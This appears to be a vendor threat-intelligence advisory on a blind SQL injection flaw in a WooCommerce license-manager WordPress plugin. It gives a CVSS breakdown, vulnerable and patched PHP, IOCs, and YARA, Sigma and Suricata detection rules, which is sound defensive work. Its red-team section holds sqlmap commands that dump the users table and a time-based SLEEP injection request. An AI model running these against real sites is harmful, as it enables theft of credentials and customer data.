CVE-2025-58788

Executive Summary

CVE-2025-58788 is a critical Blind SQL Injection vulnerability discovered in the WordPress plugin License Manager for WooCommerce by Saad Iqbal. The flaw exists in versions through 3.0.12, where user-supplied input is not properly sanitized before being used in SQL queries. This allows an unauthenticated attacker to perform blind SQL injection, potentially extracting sensitive data from the database, including user credentials, license keys, and WooCommerce order details. The vulnerability has a CVSS score of 7.6 (High), and no official patch is currently available. Given the widespread use of WooCommerce, this poses a significant risk to e-commerce sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. As a supply chain risk, any site using the plugin is vulnerable. The plugin's code is not managed via NPM, PyPI, Go, or Ruby, but rather through WordPress's plugin update mechanism. Since no patch exists, site administrators must manually remove or replace the plugin to mitigate risk.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Potential for denial of service via heavy queries.

Threat Level: High. The combination of network exploitability, no authentication, and high confidentiality impact makes this a priority for remediation.

Deep Dive & Mechanics

The vulnerability resides in the plugin's handling of license key validation and other user-facing inputs. The plugin fails to use prepared statements or parameterized queries, instead concatenating user input directly into SQL queries. This allows an attacker to inject malicious SQL code via HTTP parameters (e.g., GET/POST data).

Attack Vector:

• Unauthenticated HTTP requests to endpoints like /wp-admin/admin-ajax.php or custom plugin routes.
• The attacker sends crafted input containing SQL injection payloads (e.g., ' OR 1=1--).
• The plugin processes this input without sanitization, executing the malicious SQL.

Blind SQL Injection:

• The attacker cannot see direct error output, but can infer data by observing response times (time-based) or boolean responses (e.g., different HTTP status codes or page content).
• Tools like sqlmap can automate extraction of database contents.

Impact:

• Extraction of WordPress user credentials (hashed passwords).
• Access to WooCommerce customer data (names, addresses, order history).
• Retrieval of license keys, potentially leading to software piracy.
• Potential for privilege escalation if admin credentials are compromised.

Vulnerable vs. Patched Code

Vulnerable Code (example from plugin):

$license_key = $_POST['license_key'];
$query = "SELECT * FROM wp_license_keys WHERE key = '$license_key'";
$result = $wpdb->get_results($query);

Patched Code (recommended):

$license_key = sanitize_text_field($_POST['license_key']);
$query = $wpdb->prepare("SELECT * FROM wp_license_keys WHERE key = %s", $license_key);
$result = $wpdb->get_results($query);

The vulnerable code directly interpolates user input into the SQL string. The patched version uses $wpdb->prepare() to safely bind parameters, preventing injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with License Manager for WooCommerce <= 3.0.12 installed and activated.
• A tool like sqlmap or Burp Suite.

Exploitation Steps:

1. Identify a vulnerable endpoint (e.g., wp-admin/admin-ajax.php?action=lmfwc_validate_license).
2. Use sqlmap to automate injection:

   sqlmap -u "http://target.com/wp-admin/admin-ajax.php?action=lmfwc_validate_license&license_key=test" --data="license_key=test" --batch --dbs
   

3. Extract database contents:

   sqlmap -u "http://target.com/wp-admin/admin-ajax.php?action=lmfwc_validate_license&license_key=test" --data="license_key=test" -D wordpress --tables
   

4. Dump user credentials:

   sqlmap -u "http://target.com/wp-admin/admin-ajax.php?action=lmfwc_validate_license&license_key=test" --data="license_key=test" -T wp_users --dump
   

Manual Payload Example:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=lmfwc_validate_license&license_key=test' OR SLEEP(5)--

Blue Team

Detection:

• Monitor for unusual SQL query patterns in database logs.
• Look for HTTP requests containing SQL keywords (e.g., OR, SLEEP, UNION) in plugin-specific parameters.
• Use WAF rules to block common SQL injection patterns.

Honeypot:

• Deploy a decoy WordPress instance with the vulnerable plugin to capture attacker behavior.

Forensics:

• Check web server logs for requests to admin-ajax.php with action=lmfwc_validate_license and suspicious parameters.
• Review database logs for unexpected queries.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin-ajax.php with action=lmfwc_validate_license and SQL-like payloads.
  • Unusual response times (time-based injection).
• File IOCs:
  • Modified plugin files (e.g., license-manager-for-woocommerce.php).
  • Suspicious files in wp-content/uploads/ (e.g., webshells).
• Database IOCs:
  • Unexpected entries in wp_options or wp_users tables.
  • Queries containing SLEEP(), BENCHMARK(), or UNION SELECT.

Detection Engineering

YARA Rule

rule CVE_2025_58788_SQLi_Detect {
    meta:
        description = "Detects SQL injection attempts targeting License Manager for WooCommerce"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58788"
    strings:
        $s1 = "lmfwc_validate_license" nocase
        $s2 = "license_key" nocase
        $s3 = /['\"]\s*(OR|AND|UNION|SELECT|SLEEP|BENCHMARK)\s*['\"]/i
    condition:
        all of ($s1, $s2) and $s3
}

Sigma Rule

title: CVE-2025-58788 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against License Manager for WooCommerce
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'action=lmfwc_validate_license'
            - 'license_key='
        cs-uri-query|re: '['\''\"]\s*(OR|AND|UNION|SELECT|SLEEP|BENCHMARK)\s*['\''\"]'
    condition: selection
falsepositives:
    - Legitimate use of license keys containing SQL keywords (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-58788 SQL Injection Attempt"; flow:to_server; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=lmfwc_validate_license"; http_client_body; pcre:"/(%27|%22|\x27|\x22)\s*(OR|AND|UNION|SELECT|SLEEP|BENCHMARK)\s*/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete license-manager-for-woocommerce from the WordPress admin panel.
2. Replace with alternative – Use a different license management plugin that is actively maintained and uses prepared statements.
3. WAF Rules – Deploy web application firewall rules to block SQL injection patterns targeting the plugin's endpoints.

Long-term Fix:

• The vendor must release a patched version that uses parameterized queries ($wpdb->prepare()).
• Until then, manual code patching is required (see Vulnerable vs. Patched Code section).

Detection:

• Implement the YARA, Sigma, and Suricata rules provided above.
• Monitor database logs for suspicious queries.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division.